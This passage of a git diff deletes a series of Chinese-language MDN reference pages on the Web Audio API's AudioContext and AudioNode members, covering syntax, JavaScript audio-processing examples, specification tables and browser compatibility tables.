-rangeSynth.oninput = function() {
-delay1 = rangeSynth.value;
-synthDelay.delayTime.value = delay1;
-}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html deleted file mode 100644 index 7e505bc06a..0000000000 --- a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: AudioContext.createScriptProcessor() -slug: Web/API/AudioContext/createScriptProcessor -translation_of: Web/API/BaseAudioContext/createScriptProcessor ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

-
- -

语法

- -
var audioCtx = new AudioContext();
-myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
- -

参数

- -
-
bufferSize
-
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
-
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
-
numberOfInputChannels
-
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
-
numberOfOutputChannels
-
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
-
- -
-

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

-
- -
-

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

-
- -

返回

- -

A {{domxref("ScriptProcessorNode")}}.

- -

示例

- -

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

- -
-

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

-
- -
var myScript = document.querySelector('script');
-var myPre = document.querySelector('pre');
-var playButton = document.querySelector('button');
-
-// Create AudioContext and buffer source
-var audioCtx = new AudioContext();
-source = audioCtx.createBufferSource();
-
-// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
-var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
-console.log(scriptNode.bufferSize);
-
-// load in an audio track via XHR and decodeAudioData
-
-function getData() {
-  request = new XMLHttpRequest();
-  request.open('GET', 'viper.ogg', true);
-  request.responseType = 'arraybuffer';
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-    myBuffer = buffer;
-    source.buffer = myBuffer;
-  },
-    function(e){"Error with decoding audio data" + e.err});
-  }
-  request.send();
-}
-
-// Give the node a function to process audio events
-scriptNode.onaudioprocess = function(audioProcessingEvent) {
-  // The input buffer is the song we loaded earlier
-  var inputBuffer = audioProcessingEvent.inputBuffer;
-
-  // The output buffer contains the samples that will be modified and played
-  var outputBuffer = audioProcessingEvent.outputBuffer;
-
-  // Loop through the output channels (in this case there is only one)
-  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
-    var inputData = inputBuffer.getChannelData(channel);
-    var outputData = outputBuffer.getChannelData(channel);
-
-    // Loop through the 4096 samples
-    for (var sample = 0; sample < inputBuffer.length; sample++) {
-      // make output equal to the same as the input
-      outputData[sample] = inputData[sample];
-
-      // add noise to each output sample
-      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
-    }
-  }
-}
-
-getData();
-
-// wire up play button
-playButton.onclick = function() {
-  source.connect(scriptNode);
-  scriptNode.connect(audioCtx.destination);
-  source.start();
-}
-
-// When the buffer source stops playing, disconnect everything
-source.onended = function() {
-  source.disconnect(scriptNode);
-  scriptNode.disconnect(audioCtx.destination);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html deleted file mode 100644 index 7aef8d5688..0000000000 --- a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: AudioContext.createWaveShaper() -slug: Web/API/AudioContext/createWaveShaper -translation_of: Web/API/BaseAudioContext/createWaveShaper ---- -

{{ APIRef("Web Audio API") }}

- -

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

- -

语法

- -
var audioCtx = new AudioContext();
-var distortion = audioCtx.createWaveShaper();
- -

返回

- -

A {{domxref("WaveShaperNode")}}.

- -

例子

- -

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

- -

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

- -
-

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var distortion = audioCtx.createWaveShaper();
-
-  ...
-
-function makeDistortionCurve(amount) {
-  var k = typeof amount === 'number' ? amount : 50,
-    n_samples = 44100,
-    curve = new Float32Array(n_samples),
-    deg = Math.PI / 180,
-    i = 0,
-    x;
-  for ( ; i < n_samples; ++i ) {
-    x = i * 2 / n_samples - 1;
-    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
-  }
-  return curve;
-};
-
-  ...
-
-distortion.curve = makeDistortionCurve(400);
-distortion.oversample = '4x';
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/currenttime/index.html b/files/zh-cn/web/api/audiocontext/currenttime/index.html deleted file mode 100644 index fbdaf4315c..0000000000 --- a/files/zh-cn/web/api/audiocontext/currenttime/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.currentTime -slug: Web/API/AudioContext/currentTime -translation_of: Web/API/BaseAudioContext/currentTime ---- -

{{ APIRef("Web Audio API") }}

- -
-

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

-
- -

语法

- -
var audioCtx = new AudioContext();
-console.log(audioCtx.currentTime);
- -

返回值

- -

A double.

- -

例子

- -
-

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.currentTime);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html deleted file mode 100644 index 40693fd8cc..0000000000 --- a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: AudioContext.decodeAudioData() -slug: Web/API/AudioContext/decodeAudioData -tags: - - API - - Audio - - audio接口 - - 音频解码 -translation_of: Web/API/BaseAudioContext/decodeAudioData ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

-
- -

这是从音频轨道创建用于web audio API音频源的首选方法。

- -

语法

- -

旧版的回调函数语法

- -
audioCtx.decodeAudioData(audioData, function(decodedData) {
-  // use the dec​oded data here
-});
- -

新版的promise-based语法:

- -
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
-  // use the decoded data here
-});
- -

举例

- -

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

- -

旧的回调语法

- -

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

- -

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

- -
-

Note: You can run the example live (or view the source.)

-
- -
// define variables
-
-var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var source;
-
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-var play = document.querySelector('.play');
-var stop = document.querySelector('.stop');
-
-// use XHR to load an audio track, and
-// decodeAudioData to decode it and stick it in a buffer.
-// Then we put the buffer into the source
-
-function getData() {
-  source = audioCtx.createBufferSource();
-  var request = new XMLHttpRequest();
-
-  request.open('GET', 'viper.ogg', true);
-
-  request.responseType = 'arraybuffer';
-
-
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-        source.buffer = buffer;
-
-        source.connect(audioCtx.destination);
-        source.loop = true;
-      },
-
-      function(e){"Error with decoding audio data" + e.err});
-
-  }
-
-  request.send();
-}
-
-// wire up buttons to stop and play audio
-
-play.onclick = function() {
-  getData();
-  source.start(0);
-  play.setAttribute('disabled', 'disabled');
-}
-
-stop.onclick = function() {
-  source.stop(0);
-  play.removeAttribute('disabled');
-}
-
-
-// dump script to pre element
-
-pre.innerHTML = myScript.innerHTML;
- -

新的promise-based语法

- -
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
- // use the decoded data here
-});
- -

参数

- -
-
ArrayBuffer
-
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
-
DecodeSuccessCallback
-
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
-
DecodeErrorCallback
-
一个可选的错误回调函数.
-
- -

返回

- -

一个 {{domxref("Promise") }}对象.

- -

标准

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/destination/index.html b/files/zh-cn/web/api/audiocontext/destination/index.html deleted file mode 100644 index 04fdfe8247..0000000000 --- a/files/zh-cn/web/api/audiocontext/destination/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: AudioContext.destination -slug: Web/API/AudioContext/destination -translation_of: Web/API/BaseAudioContext/destination ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-gainNode.connect(audioCtx.destination);
- -

返回值

- -

An {{ domxref("AudioDestinationNode") }}.

- -

例子

- -
-

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-var oscillatorNode = audioCtx.createOscillator();
-var gainNode = audioCtx.createGain();
-
-oscillatorNode.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/listener/index.html b/files/zh-cn/web/api/audiocontext/listener/index.html deleted file mode 100644 index 81b2a730a2..0000000000 --- a/files/zh-cn/web/api/audiocontext/listener/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.listener -slug: Web/API/AudioContext/listener -translation_of: Web/API/BaseAudioContext/listener ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myListener = audioCtx.listener;
- -

返回值

- -

An {{ domxref("AudioListener") }} object.

- -

例子

- -
-

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-var myListener = audioCtx.listener;
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 2b7022c1ce..0000000000 --- a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType ---- -

{{APIRef("Web Audio API")}} {{Non-standard_header}}

- -

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

- -

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

- -

语法

- -
var audioCtx = new AudioContext();
-var myAudioChannelType = audioCtx.mozAudioChannelType;
-
- -

只能通过下面的构造器来设置AudioContext中音频的声道:

- -
var audioCtx = new AudioContext('ringer');
- -

返回值

- -

A {{domxref("DOMString")}} value.

- -

例子

- -

TBD

- -

规范

- -

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/onstatechange/index.html b/files/zh-cn/web/api/audiocontext/onstatechange/index.html deleted file mode 100644 index ee9b3f21c0..0000000000 --- a/files/zh-cn/web/api/audiocontext/onstatechange/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: AudioContext.onstatechange -slug: Web/API/AudioContext/onstatechange -translation_of: Web/API/BaseAudioContext/onstatechange ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

-
- -

语法

- -
var audioCtx = new AudioContext();
-audioCtx.onstatechange = function() { ... };
- -

例子

- -

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/samplerate/index.html b/files/zh-cn/web/api/audiocontext/samplerate/index.html deleted file mode 100644 index b811702e26..0000000000 --- a/files/zh-cn/web/api/audiocontext/samplerate/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.sampleRate -slug: Web/API/AudioContext/sampleRate -translation_of: Web/API/BaseAudioContext/sampleRate ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var mySampleRate = audioCtx.sampleRate;
- -

返回值

- -

A floating point number.

- -

例子

- -
-

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.sampleRate);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/state/index.html b/files/zh-cn/web/api/audiocontext/state/index.html deleted file mode 100644 index 97876f5d3d..0000000000 --- a/files/zh-cn/web/api/audiocontext/state/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: AudioContext.state -slug: Web/API/AudioContext/state -translation_of: Web/API/BaseAudioContext/state ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myState = audioCtx.state;
- -

返回值

- -

{{domxref("DOMString")}},可能的值如下:

- -
    -
  • suspended: audio context被阻塞了(用{{domxref("AudioContext.suspend()")}} 方法)
  • -
  • running: audio context正常运行
  • -
  • closed: audio context被关闭了(用{{domxref("AudioContext.close()")}}方法)
  • -
- -

例子

- -

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index eb82534aed..0000000000 --- a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) ---- -

{{ APIRef("Web Audio API") }}

- -
-

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
- 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
-  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
- 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

-
- -

Syntax

- -
var lfo = audioCtx.createOscillator();
-lfo.frequency.value = 2.0; // Hz, two times per second
-
-var lfoGain = audioCtx.createGain();
-lfoGain.gain.value = 0.5;
-
-// this is the parameter that is going to be modulated
-var gain = audioCtx.createGain();
-gain.gain.value = 0.5;
-
-// Oscillators go from -1 to 1
-// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
-lfo.connect(lfoGain);
-
-// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
-lfoGain.connect(gain.gain);
-
-lfo.connect(gain.gain);
- -
-

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

-
- -

Returns

- -

Void.

- -

Example

- -

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-// create an normal oscillator to make sound
-var oscillator = audioCtx.createOscillator();
-
-// create a second oscillator that will be used as an LFO (Low-frequency
-// oscillator), and will control a parameter
-var lfo = audioCtx.createOscillator();
-
-// set the frequency of the second oscillator to a low number
-lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
-
-// create a gain whose gain AudioParam will be controlled by the LFO
-var gain = audioCtx.createGain();
-
-// connect the LFO to the gain AudioParam. This means the value of the LFO
-// will not produce any audio, but will change the value of the gain instead
